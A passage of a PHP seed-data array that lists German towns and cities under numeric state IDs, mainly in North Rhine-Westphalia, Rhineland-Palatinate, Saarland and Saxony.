=> 'zetel'],\n ['state_id' => '1385', 'name' => 'zeven'],\n ['state_id' => '1386', 'name' => 'middenbeemster'],\n ['state_id' => '1387', 'name' => 'aachen'],\n ['state_id' => '1387', 'name' => 'ahaus'],\n ['state_id' => '1387', 'name' => 'ahlen'],\n ['state_id' => '1387', 'name' => 'aldenhoven'],\n ['state_id' => '1387', 'name' => 'alfter'],\n ['state_id' => '1387', 'name' => 'alpen'],\n ['state_id' => '1387', 'name' => 'alsdorf'],\n ['state_id' => '1387', 'name' => 'altena'],\n ['state_id' => '1387', 'name' => 'altendorf'],\n ['state_id' => '1387', 'name' => 'anrochte'],\n ['state_id' => '1387', 'name' => 'arnsberg'],\n ['state_id' => '1387', 'name' => 'ascheberg'],\n ['state_id' => '1387', 'name' => 'attendorn'],\n ['state_id' => '1387', 'name' => 'augustdorf'],\n ['state_id' => '1387', 'name' => 'bad berleburg'],\n ['state_id' => '1387', 'name' => 'bad driburg'],\n ['state_id' => '1387', 'name' => 'bad honnef'],\n ['state_id' => '1387', 'name' => 'bad laasphe'],\n ['state_id' => '1387', 'name' => 'bad lippspringe'],\n ['state_id' => '1387', 'name' => 'bad munstereifel'],\n ['state_id' => '1387', 'name' => 'bad oeynhausen'],\n ['state_id' => '1387', 'name' => 'bad salzuflen'],\n ['state_id' => '1387', 'name' => 'bad sassendorf'],\n ['state_id' => '1387', 'name' => 'baesweiler'],\n ['state_id' => '1387', 'name' => 'balve'],\n ['state_id' => '1387', 'name' => 'barntrup'],\n ['state_id' => '1387', 'name' => 'beckum'],\n ['state_id' => '1387', 'name' => 'bedburg'],\n ['state_id' => '1387', 'name' => 'bedburg-hau'],\n ['state_id' => '1387', 'name' => 'bergheim'],\n ['state_id' => '1387', 'name' => 'bergisch gladbach'],\n ['state_id' => '1387', 'name' => 'bergkamen'],\n ['state_id' => '1387', 'name' => 'bergneustadt'],\n ['state_id' => '1387', 'name' => 'bestwig'],\n ['state_id' => '1387', 'name' => 'beverungen'],\n ['state_id' => '1387', 'name' => 'bielefeld'],\n ['state_id' => '1387', 'name' => 'billerbeck'],\n ['state_id' => '1387', 'name' => 'blomberg'],\n ['state_id' => '1387', 'name' => 'bocholt'],\n ['state_id' => '1387', 'name' => 'bochum'],\n ['state_id' => '1387', 'name' => 'bocket'],\n ['state_id' => '1387', 'name' => 'bonen'],\n ['state_id' => '1387', 'name' => 'bonn'],\n ['state_id' => '1387', 'name' => 'borchen'],\n ['state_id' => '1387', 'name' => 'borgentreich'],\n ['state_id' => '1387', 'name' => 'borgholzhausen'],\n ['state_id' => '1387', 'name' => 'borken'],\n ['state_id' => '1387', 'name' => 'bornheim'],\n ['state_id' => '1387', 'name' => 'bottrop'],\n ['state_id' => '1387', 'name' => 'brakel'],\n ['state_id' => '1387', 'name' => 'brilon'],\n ['state_id' => '1387', 'name' => 'bruggen'],\n ['state_id' => '1387', 'name' => 'bruhl'],\n ['state_id' => '1387', 'name' => 'bunde'],\n ['state_id' => '1387', 'name' => 'burbach'],\n ['state_id' => '1387', 'name' => 'buren'],\n ['state_id' => '1387', 'name' => 'burscheid'],\n ['state_id' => '1387', 'name' => 'castrop-rauxel'],\n ['state_id' => '1387', 'name' => 'coesfeld'],\n ['state_id' => '1387', 'name' => 'cologne'],\n ['state_id' => '1387', 'name' => 'datteln'],\n ['state_id' => '1387', 'name' => 'delbruck'],\n ['state_id' => '1387', 'name' => 'denklingen'],\n ['state_id' => '1387', 'name' => 'detmold'],\n ['state_id' => '1387', 'name' => 'dingden'],\n ['state_id' => '1387', 'name' => 'dinslaken'],\n ['state_id' => '1387', 'name' => 'dormagen'],\n ['state_id' => '1387', 'name' => 'dorsten'],\n ['state_id' => '1387', 'name' => 'dortmund'],\n ['state_id' => '1387', 'name' => 'drensteinfurt'],\n ['state_id' => '1387', 'name' => 'drolshagen'],\n ['state_id' => '1387', 'name' => 'duisburg'],\n ['state_id' => '1387', 'name' => 'dulmen'],\n ['state_id' => '1387', 'name' => 'duren'],\n ['state_id' => '1387', 'name' => 'dusseldorf'],\n ['state_id' => '1387', 'name' => 'eitorf'],\n ['state_id' => '1387', 'name' => 'elsdorf'],\n ['state_id' => '1387', 'name' => 'emmerich'],\n ['state_id' => '1387', 'name' => 'emsdetten'],\n ['state_id' => '1387', 'name' => 'engelskirchen'],\n ['state_id' => '1387', 'name' => 'enger'],\n ['state_id' => '1387', 'name' => 'ennepetal'],\n ['state_id' => '1387', 'name' => 'ennigerloh'],\n ['state_id' => '1387', 'name' => 'ense'],\n ['state_id' => '1387', 'name' => 'erftstadt'],\n ['state_id' => '1387', 'name' => 'erkelenz'],\n ['state_id' => '1387', 'name' => 'erkrath'],\n ['state_id' => '1387', 'name' => 'erwitte'],\n ['state_id' => '1387', 'name' => 'espelkamp'],\n ['state_id' => '1387', 'name' => 'essen'],\n ['state_id' => '1387', 'name' => 'euskirchen'],\n ['state_id' => '1387', 'name' => 'extertal'],\n ['state_id' => '1387', 'name' => 'finnentrop'],\n ['state_id' => '1387', 'name' => 'frechen'],\n ['state_id' => '1387', 'name' => 'freudenberg'],\n ['state_id' => '1387', 'name' => 'frondenberg'],\n ['state_id' => '1387', 'name' => 'gangelt'],\n ['state_id' => '1387', 'name' => 'geilenkirchen'],\n ['state_id' => '1387', 'name' => 'geldern'],\n ['state_id' => '1387', 'name' => 'gelsenkirchen'],\n ['state_id' => '1387', 'name' => 'gescher'],\n ['state_id' => '1387', 'name' => 'geseke'],\n ['state_id' => '1387', 'name' => 'gevelsberg'],\n ['state_id' => '1387', 'name' => 'gladbeck'],\n ['state_id' => '1387', 'name' => 'goch'],\n ['state_id' => '1387', 'name' => 'grefrath'],\n ['state_id' => '1387', 'name' => 'greven'],\n ['state_id' => '1387', 'name' => 'grevenbroich'],\n ['state_id' => '1387', 'name' => 'gronau'],\n ['state_id' => '1387', 'name' => 'gummersbach'],\n ['state_id' => '1387', 'name' => 'gutersloh'],\n ['state_id' => '1387', 'name' => 'haan'],\n ['state_id' => '1387', 'name' => 'hagen'],\n ['state_id' => '1387', 'name' => 'halle'],\n ['state_id' => '1387', 'name' => 'haltern'],\n ['state_id' => '1387', 'name' => 'halver'],\n ['state_id' => '1387', 'name' => 'hamm'],\n ['state_id' => '1387', 'name' => 'hamminkeln'],\n ['state_id' => '1387', 'name' => 'harsewinkel'],\n ['state_id' => '1387', 'name' => 'hattingen'],\n ['state_id' => '1387', 'name' => 'havixbeck'],\n ['state_id' => '1387', 'name' => 'heiligenhaus'],\n ['state_id' => '1387', 'name' => 'heinsberg'],\n ['state_id' => '1387', 'name' => 'hemer'],\n ['state_id' => '1387', 'name' => 'hennef'],\n ['state_id' => '1387', 'name' => 'herdecke'],\n ['state_id' => '1387', 'name' => 'herford'],\n ['state_id' => '1387', 'name' => 'herne'],\n ['state_id' => '1387', 'name' => 'herten'],\n ['state_id' => '1387', 'name' => 'herzebrock-clarholz'],\n ['state_id' => '1387', 'name' => 'herzogenrath'],\n ['state_id' => '1387', 'name' => 'hiddenhausen'],\n ['state_id' => '1387', 'name' => 'hilchenbach'],\n ['state_id' => '1387', 'name' => 'hilden'],\n ['state_id' => '1387', 'name' => 'hille'],\n ['state_id' => '1387', 'name' => 'holzwickede'],\n ['state_id' => '1387', 'name' => 'horn-bad meinberg'],\n ['state_id' => '1387', 'name' => 'horstel'],\n ['state_id' => '1387', 'name' => 'hovelhof'],\n ['state_id' => '1387', 'name' => 'hoxter'],\n ['state_id' => '1387', 'name' => 'huckelhoven'],\n ['state_id' => '1387', 'name' => 'huckeswagen'],\n ['state_id' => '1387', 'name' => 'hullhorst'],\n ['state_id' => '1387', 'name' => 'hunxe'],\n ['state_id' => '1387', 'name' => 'hurth'],\n ['state_id' => '1387', 'name' => 'ibbenburen'],\n ['state_id' => '1387', 'name' => 'iserlohn'],\n ['state_id' => '1387', 'name' => 'isselburg'],\n ['state_id' => '1387', 'name' => 'issum'],\n ['state_id' => '1387', 'name' => 'juchen'],\n ['state_id' => '1387', 'name' => 'julich'],\n ['state_id' => '1387', 'name' => 'kaarst'],\n ['state_id' => '1387', 'name' => 'kalkar'],\n ['state_id' => '1387', 'name' => 'kall'],\n ['state_id' => '1387', 'name' => 'kalletal'],\n ['state_id' => '1387', 'name' => 'kamen'],\n ['state_id' => '1387', 'name' => 'kamp-lintfort'],\n ['state_id' => '1387', 'name' => 'kempen'],\n ['state_id' => '1387', 'name' => 'kerken'],\n ['state_id' => '1387', 'name' => 'kerpen'],\n ['state_id' => '1387', 'name' => 'kevelaer'],\n ['state_id' => '1387', 'name' => 'kierspe'],\n ['state_id' => '1387', 'name' => 'kirchhundem'],\n ['state_id' => '1387', 'name' => 'kirchlengern'],\n ['state_id' => '1387', 'name' => 'kleve'],\n ['state_id' => '1387', 'name' => 'koln'],\n ['state_id' => '1387', 'name' => 'konigswinter'],\n ['state_id' => '1387', 'name' => 'korschenbroich'],\n ['state_id' => '1387', 'name' => 'krefeld'],\n ['state_id' => '1387', 'name' => 'kreuzau'],\n ['state_id' => '1387', 'name' => 'kreuztal'],\n ['state_id' => '1387', 'name' => 'kurten'],\n ['state_id' => '1387', 'name' => 'lage'],\n ['state_id' => '1387', 'name' => 'langenfeld'],\n ['state_id' => '1387', 'name' => 'langerwehe'],\n ['state_id' => '1387', 'name' => 'leichlingen'],\n ['state_id' => '1387', 'name' => 'lemgo'],\n ['state_id' => '1387', 'name' => 'lengerich'],\n ['state_id' => '1387', 'name' => 'lennestadt'],\n ['state_id' => '1387', 'name' => 'leopoldshohe'],\n ['state_id' => '1387', 'name' => 'leverkusen'],\n ['state_id' => '1387', 'name' => 'lichtenau'],\n ['state_id' => '1387', 'name' => 'lindlar'],\n ['state_id' => '1387', 'name' => 'linnich'],\n ['state_id' => '1387', 'name' => 'lippetal'],\n ['state_id' => '1387', 'name' => 'lippstadt'],\n ['state_id' => '1387', 'name' => 'lohmar'],\n ['state_id' => '1387', 'name' => 'lohne'],\n ['state_id' => '1387', 'name' => 'lotte'],\n ['state_id' => '1387', 'name' => 'lubbecke'],\n ['state_id' => '1387', 'name' => 'ludenscheid'],\n ['state_id' => '1387', 'name' => 'ludinghausen'],\n ['state_id' => '1387', 'name' => 'lugde'],\n ['state_id' => '1387', 'name' => 'lunen'],\n ['state_id' => '1387', 'name' => 'marienheide'],\n ['state_id' => '1387', 'name' => 'marl'],\n ['state_id' => '1387', 'name' => 'marsberg'],\n ['state_id' => '1387', 'name' => 'mechernich'],\n ['state_id' => '1387', 'name' => 'meckenheim'],\n ['state_id' => '1387', 'name' => 'meerbusch'],\n ['state_id' => '1387', 'name' => 'meinerzhagen'],\n ['state_id' => '1387', 'name' => 'menden'],\n ['state_id' => '1387', 'name' => 'meschede'],\n ['state_id' => '1387', 'name' => 'mettingen'],\n ['state_id' => '1387', 'name' => 'mettmann'],\n ['state_id' => '1387', 'name' => 'minden'],\n ['state_id' => '1387', 'name' => 'moers'],\n ['state_id' => '1387', 'name' => 'mohnesee'],\n ['state_id' => '1387', 'name' => 'monchengladbach'],\n ['state_id' => '1387', 'name' => 'monheim'],\n ['state_id' => '1387', 'name' => 'monschau'],\n ['state_id' => '1387', 'name' => 'morsbach'],\n ['state_id' => '1387', 'name' => 'much'],\n ['state_id' => '1387', 'name' => 'mulheim'],\n ['state_id' => '1387', 'name' => 'munster'],\n ['state_id' => '1387', 'name' => 'netphen'],\n ['state_id' => '1387', 'name' => 'nettetal'],\n ['state_id' => '1387', 'name' => 'neuenkirchen'],\n ['state_id' => '1387', 'name' => 'neuenrade'],\n ['state_id' => '1387', 'name' => 'neukirchen-vluyn'],\n ['state_id' => '1387', 'name' => 'neunkirchen'],\n ['state_id' => '1387', 'name' => 'neunkirchen-seelscheid'],\n ['state_id' => '1387', 'name' => 'neuss'],\n ['state_id' => '1387', 'name' => 'nideggen'],\n ['state_id' => '1387', 'name' => 'niederkassel'],\n ['state_id' => '1387', 'name' => 'niederkruchten'],\n ['state_id' => '1387', 'name' => 'niederzier'],\n ['state_id' => '1387', 'name' => 'nordkirchen'],\n ['state_id' => '1387', 'name' => 'norvenich'],\n ['state_id' => '1387', 'name' => 'nottuln'],\n ['state_id' => '1387', 'name' => 'numbrecht'],\n ['state_id' => '1387', 'name' => 'oberhausen'],\n ['state_id' => '1387', 'name' => 'ochtrup'],\n ['state_id' => '1387', 'name' => 'odenthal'],\n ['state_id' => '1387', 'name' => 'oelde'],\n ['state_id' => '1387', 'name' => 'oer-erkenschwick'],\n ['state_id' => '1387', 'name' => 'oerlinghausen'],\n ['state_id' => '1387', 'name' => 'olfen'],\n ['state_id' => '1387', 'name' => 'olpe'],\n ['state_id' => '1387', 'name' => 'olsberg'],\n ['state_id' => '1387', 'name' => 'overath'],\n ['state_id' => '1387', 'name' => 'paderborn'],\n ['state_id' => '1387', 'name' => 'petershagen'],\n ['state_id' => '1387', 'name' => 'plettenberg'],\n ['state_id' => '1387', 'name' => 'porta westfalica'],\n ['state_id' => '1387', 'name' => 'preubisch oldendorf'],\n ['state_id' => '1387', 'name' => 'pulheim'],\n ['state_id' => '1387', 'name' => 'radevormwald'],\n ['state_id' => '1387', 'name' => 'raesfeld'],\n ['state_id' => '1387', 'name' => 'rahden'],\n ['state_id' => '1387', 'name' => 'ratingen'],\n ['state_id' => '1387', 'name' => 'recke'],\n ['state_id' => '1387', 'name' => 'recklinghausen'],\n ['state_id' => '1387', 'name' => 'rees'],\n ['state_id' => '1387', 'name' => 'reichshof'],\n ['state_id' => '1387', 'name' => 'reken'],\n ['state_id' => '1387', 'name' => 'remscheid'],\n ['state_id' => '1387', 'name' => 'rheda-wiedenbruck'],\n ['state_id' => '1387', 'name' => 'rhede'],\n ['state_id' => '1387', 'name' => 'rheinbach'],\n ['state_id' => '1387', 'name' => 'rheinberg'],\n ['state_id' => '1387', 'name' => 'rheine'],\n ['state_id' => '1387', 'name' => 'rietberg'],\n ['state_id' => '1387', 'name' => 'rommerskirchen'],\n ['state_id' => '1387', 'name' => 'rosendahl'],\n ['state_id' => '1387', 'name' => 'rosrath'],\n ['state_id' => '1387', 'name' => 'ruthen'],\n ['state_id' => '1387', 'name' => 'salzkotten'],\n ['state_id' => '1387', 'name' => 'sassenberg'],\n ['state_id' => '1387', 'name' => 'schalksmuhle'],\n ['state_id' => '1387', 'name' => 'schermbeck'],\n ['state_id' => '1387', 'name' => 'schieder-schwalenberg'],\n ['state_id' => '1387', 'name' => 'schleiden'],\n ['state_id' => '1387', 'name' => 'schlob holte-stukenbrock'],\n ['state_id' => '1387', 'name' => 'schmallenberg'],\n ['state_id' => '1387', 'name' => 'schwalmtal'],\n ['state_id' => '1387', 'name' => 'schwelm'],\n ['state_id' => '1387', 'name' => 'schwerte'],\n ['state_id' => '1387', 'name' => 'selm'],\n ['state_id' => '1387', 'name' => 'senden'],\n ['state_id' => '1387', 'name' => 'sendenhorst'],\n ['state_id' => '1387', 'name' => 'siegburg'],\n ['state_id' => '1387', 'name' => 'siegen'],\n ['state_id' => '1387', 'name' => 'simmerath'],\n ['state_id' => '1387', 'name' => 'soest'],\n ['state_id' => '1387', 'name' => 'solingen'],\n ['state_id' => '1387', 'name' => 'sonsbeck'],\n ['state_id' => '1387', 'name' => 'spenge'],\n ['state_id' => '1387', 'name' => 'sprockhovel'],\n ['state_id' => '1387', 'name' => 'stadtlohn'],\n ['state_id' => '1387', 'name' => 'steinfurt'],\n ['state_id' => '1387', 'name' => 'steinhagen'],\n ['state_id' => '1387', 'name' => 'steinheim'],\n ['state_id' => '1387', 'name' => 'stemwede'],\n ['state_id' => '1387', 'name' => 'stolberg'],\n ['state_id' => '1387', 'name' => 'straelen'],\n ['state_id' => '1387', 'name' => 'sundern'],\n ['state_id' => '1387', 'name' => 'swisttal'],\n ['state_id' => '1387', 'name' => 'tecklenburg'],\n ['state_id' => '1387', 'name' => 'telgte'],\n ['state_id' => '1387', 'name' => 'tonisvorst'],\n ['state_id' => '1387', 'name' => 'troisdorf'],\n ['state_id' => '1387', 'name' => 'ubach-palenberg'],\n ['state_id' => '1387', 'name' => 'unna'],\n ['state_id' => '1387', 'name' => 'velbert'],\n ['state_id' => '1387', 'name' => 'velen'],\n ['state_id' => '1387', 'name' => 'verl'],\n ['state_id' => '1387', 'name' => 'versmold'],\n ['state_id' => '1387', 'name' => 'viersen'],\n ['state_id' => '1387', 'name' => 'vlotho'],\n ['state_id' => '1387', 'name' => 'voerde'],\n ['state_id' => '1387', 'name' => 'vreden'],\n ['state_id' => '1387', 'name' => 'wachtberg'],\n ['state_id' => '1387', 'name' => 'wachtendonk'],\n ['state_id' => '1387', 'name' => 'wadersloh'],\n ['state_id' => '1387', 'name' => 'waldbrol'],\n ['state_id' => '1387', 'name' => 'waltrop'],\n ['state_id' => '1387', 'name' => 'warburg'],\n ['state_id' => '1387', 'name' => 'warendorf'],\n ['state_id' => '1387', 'name' => 'warstein'],\n ['state_id' => '1387', 'name' => 'wassenberg'],\n ['state_id' => '1387', 'name' => 'weeze'],\n ['state_id' => '1387', 'name' => 'wegberg'],\n ['state_id' => '1387', 'name' => 'weilerswist'],\n ['state_id' => '1387', 'name' => 'welver'],\n ['state_id' => '1387', 'name' => 'wenden'],\n ['state_id' => '1387', 'name' => 'werdohl'],\n ['state_id' => '1387', 'name' => 'werl'],\n ['state_id' => '1387', 'name' => 'wermelskirchen'],\n ['state_id' => '1387', 'name' => 'werne'],\n ['state_id' => '1387', 'name' => 'werther'],\n ['state_id' => '1387', 'name' => 'wesel'],\n ['state_id' => '1387', 'name' => 'wesseling'],\n ['state_id' => '1387', 'name' => 'westerkappeln'],\n ['state_id' => '1387', 'name' => 'wetter'],\n ['state_id' => '1387', 'name' => 'wickede'],\n ['state_id' => '1387', 'name' => 'wiehl'],\n ['state_id' => '1387', 'name' => 'willich'],\n ['state_id' => '1387', 'name' => 'wilnsdorf'],\n ['state_id' => '1387', 'name' => 'windeck'],\n ['state_id' => '1387', 'name' => 'winterberg'],\n ['state_id' => '1387', 'name' => 'wipperfurth'],\n ['state_id' => '1387', 'name' => 'witten'],\n ['state_id' => '1387', 'name' => 'wulfrath'],\n ['state_id' => '1387', 'name' => 'wunnenberg'],\n ['state_id' => '1387', 'name' => 'wuppertal'],\n ['state_id' => '1387', 'name' => 'wurselen'],\n ['state_id' => '1387', 'name' => 'xanten'],\n ['state_id' => '1387', 'name' => 'zulpich'],\n ['state_id' => '1389', 'name' => 'herzberg am harz'],\n ['state_id' => '1390', 'name' => 'alzey'],\n ['state_id' => '1390', 'name' => 'andernach'],\n ['state_id' => '1390', 'name' => 'bad durkheim'],\n ['state_id' => '1390', 'name' => 'bad ems'],\n ['state_id' => '1390', 'name' => 'bad kreuznach'],\n ['state_id' => '1390', 'name' => 'bad neuenahr-ahrweiler'],\n ['state_id' => '1390', 'name' => 'bendorf'],\n ['state_id' => '1390', 'name' => 'betzdorf'],\n ['state_id' => '1390', 'name' => 'bingen'],\n ['state_id' => '1390', 'name' => 'bitburg'],\n ['state_id' => '1390', 'name' => 'bobenheim-roxheim'],\n ['state_id' => '1390', 'name' => 'bohl-iggelheim'],\n ['state_id' => '1390', 'name' => 'boppard'],\n ['state_id' => '1390', 'name' => 'daun'],\n ['state_id' => '1390', 'name' => 'diez'],\n ['state_id' => '1390', 'name' => 'eisenberg'],\n ['state_id' => '1390', 'name' => 'essingen'],\n ['state_id' => '1390', 'name' => 'frankenthal'],\n ['state_id' => '1390', 'name' => 'gau-odernheim'],\n ['state_id' => '1390', 'name' => 'germersheim'],\n ['state_id' => '1390', 'name' => 'grunstadt'],\n ['state_id' => '1390', 'name' => 'habloch'],\n ['state_id' => '1390', 'name' => 'hahnstatten'],\n ['state_id' => '1390', 'name' => 'hallschlag'],\n ['state_id' => '1390', 'name' => 'herschbach'],\n ['state_id' => '1390', 'name' => 'herxheim'],\n ['state_id' => '1390', 'name' => 'hirschhorn'],\n ['state_id' => '1390', 'name' => 'hohr-grenzhausen'],\n ['state_id' => '1390', 'name' => 'holzheim'],\n ['state_id' => '1390', 'name' => 'idar-oberstein'],\n ['state_id' => '1390', 'name' => 'ingelheim'],\n ['state_id' => '1390', 'name' => 'kaisersesch'],\n ['state_id' => '1390', 'name' => 'kaiserslautern'],\n ['state_id' => '1390', 'name' => 'kastellaun'],\n ['state_id' => '1390', 'name' => 'kindsbach'],\n ['state_id' => '1390', 'name' => 'kirchen'],\n ['state_id' => '1390', 'name' => 'kirn'],\n ['state_id' => '1390', 'name' => 'koblenz'],\n ['state_id' => '1390', 'name' => 'lahnstein'],\n ['state_id' => '1390', 'name' => 'landau'],\n ['state_id' => '1390', 'name' => 'limburgerhof'],\n ['state_id' => '1390', 'name' => 'luckenburg'],\n ['state_id' => '1390', 'name' => 'ludwigshafen'],\n ['state_id' => '1390', 'name' => 'mainz'],\n ['state_id' => '1390', 'name' => 'mayen'],\n ['state_id' => '1390', 'name' => 'montabaur'],\n ['state_id' => '1390', 'name' => 'morbach'],\n ['state_id' => '1390', 'name' => 'mulheim-karlich'],\n ['state_id' => '1390', 'name' => 'mundersbach'],\n ['state_id' => '1390', 'name' => 'mutterstadt'],\n ['state_id' => '1390', 'name' => 'nassau'],\n ['state_id' => '1390', 'name' => 'neitersen'],\n ['state_id' => '1390', 'name' => 'neustadt'],\n ['state_id' => '1390', 'name' => 'neuwied'],\n ['state_id' => '1390', 'name' => 'niederzissen'],\n ['state_id' => '1390', 'name' => 'pirmasens'],\n ['state_id' => '1390', 'name' => 'plaidt'],\n ['state_id' => '1390', 'name' => 'remagen'],\n ['state_id' => '1390', 'name' => 'schifferstadt'],\n ['state_id' => '1390', 'name' => 'schoenenberg kuebelberg'],\n ['state_id' => '1390', 'name' => 'sinzig'],\n ['state_id' => '1390', 'name' => 'speyer'],\n ['state_id' => '1390', 'name' => 'st. goar'],\n ['state_id' => '1390', 'name' => 'trier'],\n ['state_id' => '1390', 'name' => 'vallendar'],\n ['state_id' => '1390', 'name' => 'winterbach'],\n ['state_id' => '1390', 'name' => 'wittlich'],\n ['state_id' => '1390', 'name' => 'worms'],\n ['state_id' => '1390', 'name' => 'worth'],\n ['state_id' => '1390', 'name' => 'zweibrucken'],\n ['state_id' => '1391', 'name' => 'adenau'],\n ['state_id' => '1391', 'name' => 'anhausen'],\n ['state_id' => '1391', 'name' => 'barbelroth'],\n ['state_id' => '1391', 'name' => 'berndroth'],\n ['state_id' => '1391', 'name' => 'bernkastel-kues'],\n ['state_id' => '1391', 'name' => 'burgbrohl'],\n ['state_id' => '1391', 'name' => 'dieblich'],\n ['state_id' => '1391', 'name' => 'dierdorf'],\n ['state_id' => '1391', 'name' => 'dreisbach'],\n ['state_id' => '1391', 'name' => 'elsoff'],\n ['state_id' => '1391', 'name' => 'enkenbach-alsenborn'],\n ['state_id' => '1391', 'name' => 'etzbach'],\n ['state_id' => '1391', 'name' => 'flonheim'],\n ['state_id' => '1391', 'name' => 'fohren'],\n ['state_id' => '1391', 'name' => 'grafschaft'],\n ['state_id' => '1391', 'name' => 'hochspeyer'],\n ['state_id' => '1391', 'name' => 'leiningen'],\n ['state_id' => '1391', 'name' => 'moschheim'],\n ['state_id' => '1391', 'name' => 'murlenbach'],\n ['state_id' => '1391', 'name' => 'neuhofen'],\n ['state_id' => '1391', 'name' => 'nievern'],\n ['state_id' => '1391', 'name' => 'norken'],\n ['state_id' => '1391', 'name' => 'oberlahr'],\n ['state_id' => '1391', 'name' => 'otterstadt'],\n ['state_id' => '1391', 'name' => 'rennerod'],\n ['state_id' => '1391', 'name' => 'rheinbreitbach'],\n ['state_id' => '1391', 'name' => 'rieschweiler-muhlbach'],\n ['state_id' => '1391', 'name' => 'saarburg'],\n ['state_id' => '1391', 'name' => 'stahlhofen'],\n ['state_id' => '1391', 'name' => 'steinebach'],\n ['state_id' => '1391', 'name' => 'weinsheim'],\n ['state_id' => '1391', 'name' => 'winnweiler'],\n ['state_id' => '1391', 'name' => 'wissen'],\n ['state_id' => '1392', 'name' => 'beckingen'],\n ['state_id' => '1392', 'name' => 'bexbach'],\n ['state_id' => '1392', 'name' => 'blieskastel'],\n ['state_id' => '1392', 'name' => 'dillingen'],\n ['state_id' => '1392', 'name' => 'duppenweiler'],\n ['state_id' => '1392', 'name' => 'eppelborn'],\n ['state_id' => '1392', 'name' => 'friedrichsthal'],\n ['state_id' => '1392', 'name' => 'grobrosseln'],\n ['state_id' => '1392', 'name' => 'heusweiler'],\n ['state_id' => '1392', 'name' => 'homburg'],\n ['state_id' => '1392', 'name' => 'illingen'],\n ['state_id' => '1392', 'name' => 'kirkel'],\n ['state_id' => '1392', 'name' => 'kleinblittersdorf'],\n ['state_id' => '1392', 'name' => 'lebach'],\n ['state_id' => '1392', 'name' => 'losheim'],\n ['state_id' => '1392', 'name' => 'mandelbachtal'],\n ['state_id' => '1392', 'name' => 'marpingen'],\n ['state_id' => '1392', 'name' => 'merchweiler'],\n ['state_id' => '1392', 'name' => 'merzig'],\n ['state_id' => '1392', 'name' => 'mettlach'],\n ['state_id' => '1392', 'name' => 'nalbach'],\n ['state_id' => '1392', 'name' => 'neunkirchen'],\n ['state_id' => '1392', 'name' => 'nohfelden'],\n ['state_id' => '1392', 'name' => 'nonnweiler'],\n ['state_id' => '1392', 'name' => 'oberthal'],\n ['state_id' => '1392', 'name' => 'ottweiler'],\n ['state_id' => '1392', 'name' => 'puttlingen'],\n ['state_id' => '1392', 'name' => 'quierschied'],\n ['state_id' => '1392', 'name' => 'rehlingen-siersburg'],\n ['state_id' => '1392', 'name' => 'riegelsberg'],\n ['state_id' => '1392', 'name' => 'saarbrucken'],\n ['state_id' => '1392', 'name' => 'saarlouis'],\n ['state_id' => '1392', 'name' => 'saarwellingen'],\n ['state_id' => '1392', 'name' => 'sankt ingbert'],\n ['state_id' => '1392', 'name' => 'sankt wendel'],\n ['state_id' => '1392', 'name' => 'schiffweiler'],\n ['state_id' => '1392', 'name' => 'schmelz'],\n ['state_id' => '1392', 'name' => 'schwalbach'],\n ['state_id' => '1392', 'name' => 'spiesen-elversberg'],\n ['state_id' => '1392', 'name' => 'sulzbach'],\n ['state_id' => '1392', 'name' => 'tholey'],\n ['state_id' => '1392', 'name' => 'uberherrn'],\n ['state_id' => '1392', 'name' => 'volklingen'],\n ['state_id' => '1392', 'name' => 'wadern'],\n ['state_id' => '1392', 'name' => 'wadgassen'],\n ['state_id' => '1392', 'name' => 'wallerfangen'],\n ['state_id' => '1392', 'name' => 'weiskirchen'],\n ['state_id' => '1393', 'name' => 'annaberg-buchholz'],\n ['state_id' => '1393', 'name' => 'aue'],\n ['state_id' => '1393', 'name' => 'auerbach'],\n ['state_id' => '1393', 'name' => 'bautzen'],\n ['state_id' => '1393', 'name' => 'bischofswerda'],\n ['state_id' => '1393', 'name' => 'borna'],\n ['state_id' => '1393', 'name' => 'brand-erbisdorf'],\n ['state_id' => '1393', 'name' => 'burgstadt'],\n ['state_id' => '1393', 'name' => 'chemnitz'],\n ['state_id' => '1393', 'name' => 'coswig'],\n ['state_id' => '1393', 'name' => 'crimmitschau'],\n ['state_id' => '1393', 'name' => 'delitzsch'],\n ['state_id' => '1393', 'name' => 'dobeln'],\n ['state_id' => '1393', 'name' => 'dresden'],\n ['state_id' => '1393', 'name' => 'ebersbach'],\n ['state_id' => '1393', 'name' => 'eilenburg'],\n ['state_id' => '1393', 'name' => 'falkenstein'],\n ['state_id' => '1393', 'name' => 'floha'],\n ['state_id' => '1393', 'name' => 'frankenberg'],\n ['state_id' => '1393', 'name' => 'freiberg'],\n ['state_id' => '1393', 'name' => 'freital'],\n ['state_id' => '1393', 'name' => 'friedewald'],\n ['state_id' => '1393', 'name' => 'glauchau'],\n ['state_id' => '1393', 'name' => 'gorlitz'],\n ['state_id' => '1393', 'name' => 'grimma'],\n ['state_id' => '1393', 'name' => 'grobenhain'],\n ['state_id' => '1393', 'name' => 'groditz'],\n ['state_id' => '1393', 'name' => 'hainichen'],\n ['state_id' => '1393', 'name' => 'heidenau'],\n ['state_id' => '1393', 'name' => 'hirschstein'],\n ['state_id' => '1393', 'name' => 'hohenstein-ernstthal'],\n ['state_id' => '1393', 'name' => 'hoyerswerda'],\n ['state_id' => '1393', 'name' => 'kamenz'],\n ['state_id' => '1393', 'name' => 'klingenthal'],\n ['state_id' => '1393', 'name' => 'leipzig'],\n ['state_id' => '1393', 'name' => 'lichtenstein'],\n ['state_id' => '1393', 'name' => 'limbach-oberfrohna'],\n ['state_id' => '1393', 'name' => 'lobnitz'],\n ['state_id' => '1393', 'name' => 'lobau'],\n ['state_id' => '1393', 'name' => 'lugau'],\n ['state_id' => '1393', 'name' => 'marienberg'],\n ['state_id' => '1393', 'name' => 'markkleeberg'],\n ['state_id' => '1393', 'name' => 'meerane'],\n ['state_id' => '1393', 'name' => 'meiben'],\n ['state_id' => '1393', 'name' => 'mittweida'],\n ['state_id' => '1393', 'name' => 'muldenhammer'],\n ['state_id' => '1393', 'name' => 'neustadt'],\n ['state_id' => '1393', 'name' => 'niesky'],\n ['state_id' => '1393', 'name' => 'oelsnitz'],\n ['state_id' => '1393', 'name' => 'olbernhau'],\n ['state_id' => '1393', 'name' => 'olbersdorf'],\n ['state_id' => '1393', 'name' => 'oschatz'],\n ['state_id' => '1393', 'name' => 'pirna'],\n ['state_id' => '1393', 'name' => 'plauen'],\n ['state_id' => '1393', 'name' => 'radeberg'],\n ['state_id' => '1393', 'name' => 'radebeul'],\n ['state_id' => '1393', 'name' => 'reichenbach'],\n ['state_id' => '1393', 'name' => 'riesa'],\n ['state_id' => '1393', 'name' => 'rietschen'],\n ['state_id' => '1393', 'name' => 'schkeuditz'],\n ['state_id' => '1393', 'name' => 'schneeberg'],\n ['state_id' => '1393', 'name' => 'schwarzenberg'],\n ['state_id' => '1393', 'name' 